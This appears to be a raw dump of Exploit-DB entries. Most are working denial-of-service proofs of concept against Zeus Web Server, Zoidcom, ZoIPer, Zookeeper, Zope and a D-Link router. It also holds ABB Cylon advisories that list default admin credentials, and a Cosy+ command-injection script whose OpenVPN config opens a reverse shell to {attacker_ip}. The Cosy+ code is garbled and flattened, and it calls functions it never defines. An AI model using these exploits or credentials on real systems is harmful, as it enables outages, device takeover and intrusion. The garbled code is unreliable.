deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33531
Description: Zeus Web Server 4.x - 'SSL2_CLIENT_HELLO' Remote Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2010-01-15
Author: Intevydis

Exploit:
source: https://www.securityfocus.com/bid/37829/info

Zeus Web Server is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Versions prior to Zeus Web Server 4.3r5 are vulnerable. 

#!/usr/bin/env python
# zeus_ssl2.py
#
# Use this code at your own risk. Never run it against a production system.
# 
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

import socket
import sys
import struct

def send_req(host,port):
        buf=""
        buf+=chr(1)
        buf+="\x00\x02" 
        buf+=struct.pack(">H",21)
        buf+=struct.pack(">H",0xffff)                                
        buf+=struct.pack(">H",16)
        buf+="\x07\x00\xc0\x03\x00\x80\x01\x00\x80\x08\x00\x80"
       buf+="\x06\x00\x40\x04\x00\x80\x02\x00\x80"
        buf+="A"* 50000  
        buf+="C"*16

        siz =  chr( ( (len(buf) & 0xff00) >> 8)| 0x80) + chr(len(buf)&0xff)
        buf = siz + buf

 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sock.connect((host,port))
 sock.sendall(buf)
 sock.recv(1000)
 sock.close()

if __name__=="__main__":
 if len(sys.argv)<3:
  print "usage: %s host port" % sys.argv[0]
  sys.exit()

 send_req(sys.argv[1],int(sys.argv[2]))
Exploit-DB #31285
Description: Zilab Chat and Instant Messaging (ZIM) 2.0/2.1 Server - Multiple Vulnerabilities
Type: dos
Platform: multiple
Date: 2008-02-21
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27940/info

Zilab Chat and Instant Messaging (ZIM) Server is prone to multiple vulnerabilities, including denial-of-service issues and memory-corruption issues.

A successful exploit may allow remote attackers to execute arbitrary code in the context of the affected software and/or cause denial-of-service conditions.

These issues affect ZIM Server 2.0 and 2.1; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31285.zip
Exploit-DB #30497
Description: Zoidcom 0.6.x - Malformed Packet Denial of Service
Type: dos
Platform: multiple
Date: 2007-08-14
Author: Luigi Auriemma

Exploit:
// source: https://www.securityfocus.com/bid/25326/info

The Zoidcom network library is prone to a denial of service vulnerability when handling malformed packets.

An attacker could exploit this to crash a network service that is implemented with the library. 

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
    #define stristr strcasestr
#endif



#define VER         "0.1"
#define PORT        8899

typedef uint8_t     u8;
typedef uint16_t    u16;
typedef uint32_t    u32;



u32 resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
  struct  sockaddr_in peer;
  int     sd,
    i;
  u16     port    = PORT;
  u8      buff[16];

#ifdef WIN32
  WSADATA    wsadata;
  WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

  setbuf(stdout, NULL);

  fputs("\n"
        "Zoidcom <= 0.6.7 crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

  if(argc < 2) {
    printf("\n"
            "Usage: %s <host> [port(%hu)]\n"
	   "\n", argv[0], port);
    exit(1);
  }

  if(argc > 2) port = atoi(argv[2]);
  peer.sin_addr.s_addr = resolv(argv[1]);
  peer.sin_port        = htons(port);
  peer.sin_family      = AF_INET;

  printf("- target   %s : %hu\n",
	 inet_ntoa(peer.sin_addr), port);

  sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  if(sd < 0) std_err();

  // the following is a classical join packet
  memcpy(buff,
	 "\xec\x03\x00\x00\x00\x68\xc0\xff\xe9\x00\x80\x07\x00\x64\x00\x01", 16);

  buff[8] = 0x69;
  printf("- send malicious packet 0x%02x\n", buff[8]);
  for(i = 0; i < 2; i++) {
    if(sendto(sd, buff, 16, 0, (struct sockaddr *)&peer, sizeof(peer))
       < 0) std_err();
    sleep(0);
  }

  sleep(ONESEC);

  buff[8] = 0xa9;
  printf("- send malicious packet 0x%02x\n", buff[8]);
  for(i = 0; i < 2; i++) {
    if(sendto(sd, buff, 16, 0, (struct sockaddr *)&peer, sizeof(peer))
       < 0) std_err();
    sleep(0);
  }

  close(sd);

  printf("- the server should have been crashed, check it
  manually\n");
  return(0);
}



u32 resolv(char *host) {
  struct  hostent *hp;
  u32     host_ip;

  host_ip = inet_addr(host);
  if(host_ip == INADDR_NONE) {
    hp = gethostbyname(host);
    if(!hp) {
      printf("\nError: Unable to resolv hostname (%s)\n", host);
      exit(1);
    } else host_ip = *(u32 *)hp->h_addr;
  }
  return(host_ip);
}



#ifndef WIN32
void std_err(void) {
  perror("\nError");
  exit(1);
}
#endif
Exploit-DB #9987
Description: ZoIPer 2.22 - Call-Info Remote Denial of Service
Type: dos
Platform: multiple
Date: 2009-10-14
Author: Tomer Bitton

Exploit:
#!/usr/bin/python

# ZoIPer v2.22 Call-Info Remote Denial Of Service.
# Remote Crash P.O.C.
# Author: Tomer Bitton (Gr33n_G0bL1n)
# Tested on Windows XP SP2 , SP3 , Ubuntu 8.10
#
# Vendor Notified on: 21/09/2009
# Vendor Fix: Fixed in version 2.24 Library 5324
#
# Bad Chars:   \x20  ,  \x09

import sys
import socket
import os


def main(argc , argv):

	if len(sys.argv) != 2:
		os.system("cls")
		sys.exit("Usage: " + sys.argv[0] + " <target_ip>\n")
	
	target_host = sys.argv[1]
	target_port = 5060

	evil_packet =   "\x49\x4e\x56\x49\x54\x45\x20\x73\x69\x70\x3a\x4e\x65\x6f\x40\x31"+\
					"\x30\x2e\x30\x2e\x30\x2e\x31\x20\x53\x49\x50\x2f\x32\x2e\x30\x0d"+\
					"\x0a\x56\x69\x61\x3a\x20\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44"+\
					"\x50\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31\x33\x31"+\
					"\x3a\x31\x32\x39\x38\x3b\x62\x72\x61\x6e\x63\x68\x3d\x7a\x39\x68"+\
					"\x47\x34\x62\x4b\x4a\x52\x6e\x54\x67\x67\x76\x4d\x47\x6c\x2d\x36"+\
					"\x32\x33\x33\x0d\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77\x61\x72\x64"+\
					"\x73\x3a\x20\x37\x30\x0d\x0a\x46\x72\x6f\x6d\x3a\x20\x4d\x6f\x72"+\
					"\x70\x68\x65\x75\x73\x20\x3c\x73\x69\x70\x3a\x4d\x6f\x72\x70\x68"+\
					"\x65\x75\x73\x40\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31"+\
					"\x33\x31\x3e\x3b\x74\x61\x67\x3d\x66\x37\x6d\x58\x5a\x71\x67\x71"+\
					"\x5a\x79\x2d\x36\x32\x33\x33\x0d\x0a\x54\x6f\x3a\x20\x4e\x65\x6f"+\
					"\x20\x3c\x73\x69\x70\x3a\x4e\x65\x6f\x40\x31\x30\x2e\x30\x2e\x30"+\
					"\x2e\x31\x3e\x0d\x0a\x43\x61\x6c\x6c\x2d\x49\x44\x3a\x20\x77\x53"+\
					"\x48\x68\x48\x6a\x6e\x67\x39\x39\x2d\x36\x32\x33\x33\x40\x31\x39"+\
					"\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31\x33\x31\x0d\x0a\x43\x53"+\
					"\x65\x71\x3a\x20\x36\x32\x33\x33\x20\x49\x4e\x56\x49\x54\x45\x0d"+\
					"\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x3c\x73\x69\x70\x3a\x4d"+\
					"\x6f\x72\x70\x68\x65\x75\x73\x40\x31\x39\x32\x2e\x31\x36\x38\x2e"+\
					"\x35\x37\x2e\x31\x33\x31\x3e\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74"+\
					"\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69"+\
					"\x6f\x6e\x2f\x73\x64\x70\x0d\x0a\x43\x61\x6c\x6c\x2d\x49\x6e\x66"+\
					"\x6f\x3a\x20\x20\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c"+\
					"\x65\x6e\x67\x74\x68\x3a\x20\x31\x32\x35\x0d\x0a\x0d\x0a"
	
	os.system("cls")				
	print "[+] ZoIPer Call-Info Remote Denial Of Service\r\n"
	print "[+] Exploited By Gr33n_G0bL1n\r\n"
	print "[+] Connecting to %s on port %d\r\n" % (target_host,target_port)
	
	s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	try:
		s.connect((target_host,target_port))
		print "[+] Trying To Send Evil Packet...\r\n"
		s.sendall(evil_packet)
		s.close()
		print "[+] Done!\r\n"
	except:
		print "[x] Connection Error!\r\n"


if (__name__ == "__main__"):
	sys.exit(main(len(sys.argv), sys.argv))
Exploit-DB #42294
Description: Zookeeper 3.5.2 Client - Denial of Service
Type: dos
Platform: multiple
Date: 2017-07-02
Author: Brandon Dennis

Exploit:
#!/usr/bin/python

# Exploit Title: Zookeeper Client Denial Of Service (Port 2181)
# Date: 2/7/2017
# Exploit Author: Brandon Dennis
# Email: bdennis@mail.hodges.edu
# Software Link: http://zookeeper.apache.org/releases.html#download
# Zookeeper Version: 3.5.2
# Tested on: Windows 2008 R2, Windows 2012 R2 x64 & x86
# Description: The wchp command to the ZK port 2181 will gather open internal files by each session/watcher and organize them for the requesting client. 
#	This command is CPU intensive and will cause a denial of service to the port as well as spike the CPU of the remote machine to 90-100% consistently before any other traffic. 
#	The average amount of threads uses was 10000 for testing. This should work on all 3.x+ versions of Zookeeper.
#	This should effect Linux x86 & x64 as well



import time
import os
import threading
import sys
import socket

numOfThreads = 1
exitStr = "n"
stop_threads = False
threads = []
ipAddress = "192.168.1.5" #Change this
port = 2181

def sendCommand(ipAddress, port):
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((ipAddress, port))
		s.send("wchp\r".encode("utf-8"))
		s.recv(1024)
		s.send("wchc\r".encode("utf-8"))
		s.close()
	except:
		pass

	
def runCMD(id, stop, ipAddress, port):
	while True:
		sendCommand(ipAddress, port)
		if stop():
			break
	return
	
def welcomeBanner():
	banner = """ _______   __  _____               _               
|___  | | / / /  __ \             | |              
   / /| |/ /  | /  \/_ __ __ _ ___| |__   ___ _ __ 
  / / |    \  | |   | '__/ _` / __| '_ \ / _ | '__|
./ /__| |\  \ | \__/| | | (_| \__ | | | |  __| |   
\_____\_| \_/  \____|_|  \__,_|___|_| |_|\___|_|   
                                                   
                 By: Brandon Dennis 
		 Email: bdennis@mail.hodges.edu
				 """
	print(banner)
	

welcomeBanner()
numOfThreads = int(input("How many threads do you want to use: "))
print ("Startin Up Threads...")	
for i in range(numOfThreads):
	t = threading.Thread(target=runCMD, args=(id, lambda: stop_threads, ipAddress, port))
	threads.append(t)
	t.start()
print("Threads are now started...")
	

while exitStr != "y":
	inpt = input("Do you wish to stop threads(y): ")
	
	if inpt == "y":
		exitStr = "y"

print("\nStopping Threads...")
stop_threads = True		
for thread in threads:
	thread.join()
		
print("Threads are now stopped...")
sys.exit(0);
Exploit-DB #32581
Description: Zope 2.11.2 - PythonScript Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2008-11-12
Author: Marc-Andre Lemburg

Exploit:
source: https://www.securityfocus.com/bid/32267/info

Zope is prone to multiple remote denial-of-service vulnerabilities.

Remote attackers can exploit this issue to cause the Zope server to halt or to consume excessive server resources, resulting in denial-of-service conditions.

These issues affect Zope 2.7.0 through 2.11.2. 

To halt the application:
raise SystemExit

To consume excessive resources:
return 'foo'.encode('test.testall')
Exploit-DB #52180
Description: ABB Cylon FLXeon 9.3.4 - Cross-Site Request Forgery
Type: hardware
Platform: multiple
Date: 2025-04-11
Author: LiquidWorm

Exploit:
# Exploit title: ABB Cylon FLXeon 9.3.4 Limited Cross-Site Request Forgery
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb                   
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                  CBX Series (FLX Series)
                  CBT Series
                  CBV Series
                  Firmware: <=9.3.4

Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.

Desc: A CSRF vulnerability has been identified in the ABB Cylon FLXeon series. However,
exploitation is limited to specific conditions due to the server's CORS configuration
(Access-Control-Allow-Origin: * without Access-Control-Allow-Credentials: true). The
vulnerability can only be exploited under the following scenarios:
       Same Domain: The attacker must host the malicious page on the same domain as the
       target server.
       Man-in-the-Middle (MitM): The attacker can intercept and modify traffic between
       the user and the server (e.g., on an unsecured network).
       Local Area Network (LAN) Access: The attacker must have access to the same network
       as the target server.
       Subdomains: The attacker can host the malicious page on a subdomain if the server
       allows it.
       Misconfigured CORS: The server’s CORS policy is misconfigured to allow certain
       origins or headers.
       Reflected XSS: The attacker can exploit a reflected XSS vulnerability to execute
       JavaScript in the context of the target origin.

Tested on: Linux Kernel 5.4.27
           Linux Kernel 4.15.13
           NodeJS/8.4.0
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5918
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5918.php
Exploit-DB #52179
Description: ABB Cylon FLXeon 9.3.4 - Default Credentials
Type: hardware
Platform: multiple
Date: 2025-04-11
Author: LiquidWorm

Exploit:
ABB Cylon FLXeon 9.3.4 Default Credentials


Vendor: ABB Ltd.
Product web page: https://www.global.abb                   
Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                  CBX Series (FLX Series)
                  CBT Series
                  CBV Series
                  ABB UC32 Series Main Plant Controllers (Cylon's UnitronUC32.xx)
                  Firmware: <=9.3.4

Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.

Desc: The ABB Cylon FLXeon BACnet controller uses a weak set of default administrative
credentials that can be guessed in remote password attacks and gain full control of
the system.

Tested on: Linux Kernel 5.4.27
           Linux Kernel 4.15.13
           NodeJS/8.4.0
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5919
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5919.php


21.04.2024

--


$ cat project

                 P   R   O   J   E   C   T

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░


$ cat cyloncreds.txt
admin:cylonctl
cxpro:siteguide
UC32Net:CylonCtl
Exploit-DB #52160
Description: Cosy+ firmware 21.2s7 - Command Injection
Type: hardware
Platform: multiple
Date: 2025-04-10
Author: CodeB0ss

Exploit:
# Exploit Title: Cosy+ firmware 21.2s7 - Command Injection
# Google Dork: N/A
# Date: 2024-8-20
# Exploit Author: CodeB0ss
# Contact: t.me/codeb0ss / uncodeboss@gmail.com
# Version: 21.2s7
 # Tested on: Windows 11 Home Edition
 # CVE: CVE-2024-33896


import socket
import subprocess
import time

def configcreator(file_path):
 with open(file_path, 'w') as f: f.write( """ client dev tun persist-tun
proto tcp verb 5 mute 20 --up '/bin/sh -c "TF=$(mktemp -u);mkfifo
$TF;telnet {attacker_ip} 5000 0<$TF | sh 1>$TF"' script-security 2 """) def
l3st(port): server_socket = socket.socket(socket.AF_INET,
socket.SOCK_STREAM) server_socket.bind(('0.0.0.0', port))
server_socket.listen(1) print(f" - --> Listening_0n_port {port}")
client_socket, _ = server_socket.accept() print(" - --> Recevied") while
True: data = client_socket.recv(1024) if not data: break
print(data.decode()) client_socket.close() server_socket.close() if name ==
"main": IP = '127.0.0.1' config = '/path/to/malicious_config.ovpn' port =
5000 listener_process = subprocess.Popen(['python', '-c', f'from main
import start_listener; start_listener({port})']) time.sleep(2)
create_malicious_openvpn_config(config) print(f" - --> config_created
{config}")


GitHub:
https://github.com/codeb0ss/CVE-2024-33896-PoC

Hey,

Overview: The Ewon Cosy+ is a VPN gateway used for remote access and
maintenance in industrial environments. The manufacturer describes the
product as follows (see [1]): "The Ewon Cosy+ gateway establishes a secure
VPN connection between the machine (PLC, HMI, or other devices) and the
remote engineer. The connection happens through Talk2m, a highly secured
industrial cloud service. The Ewon Cosy+ makes industrial remote access
easy and secure like never before!" Due to improper neutralization of
parameters read from a user-controlled configuration file, an authenticated
attacker is able to inject and execute OS commands on the device.

Vulnerability Details: Authenticated attackers are able to upload a custom
OpenVPN configuration. This configuration can contain the OpenVPN
paramaters "--up" and "--down", which execute a specified script or
executable. Since the process itself runs with the highest privileges
(root), this allows the device to be completely compromised.
Exploit-DB #52469
Description: D-Link DIR-825 Rev.B 2.10 - Stack Buffer Overflow (DoS)
Type: hardware
Platform: multiple
Date: 2026-02-02
Author: Beatriz Fresno Naumova

Exploit:
# Exploit Title: D-Link DIR-825 Rev.B 2.10 - Stack Buffer Overflow (DoS)
# Google Dork: N/A
# Date: 2025-09-25
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://www.dlink.com/
# Software Link: https://tsd.dlink.com.tw/downloads2008detail.asp
# Version: DIR-825 Rev.B <= 2.10
# Tested on: DIR-825 Rev.B physical hardware, local network
# CVE: CVE-2025-10666
#
# Description:
# A stack-based buffer overflow vulnerability exists in the apply.cgi endpoint of the
# D-Link DIR-825 Rev.B router (firmware <= 2.10), triggered via the countdown_time parameter.
# This PoC sends an overly long POST parameter to crash the process.

import requests

TARGET = "http://192.168.0.1/apply.cgi"  # Change this to the router's IP
LENGTH = 4000                            # Adjust length for testing / fuzzing
PAYLOAD = "1" * LENGTH

headers = {
    "User-Agent": "Mozilla/5.0",
    "Content-Type": "application/x-www-form-urlencoded",
    "Referer": "http://192.168.0.1/",
}

data = {
    "countdown_time": PAYLOAD
}

try:
    print(f"[+] Sending exploit payload ({LENGTH} bytes) to {TARGET}")
    r = requests.post(TARGET, headers=headers, data=data, timeout=5)
    print(f"[+] Status Code: {r.status_code}")
    print("[+] Exploit sent. Check if the router crashes or becomes unresponsive.")
except Exception as e:
    print(f"[-] Failed to send exploit: {e}")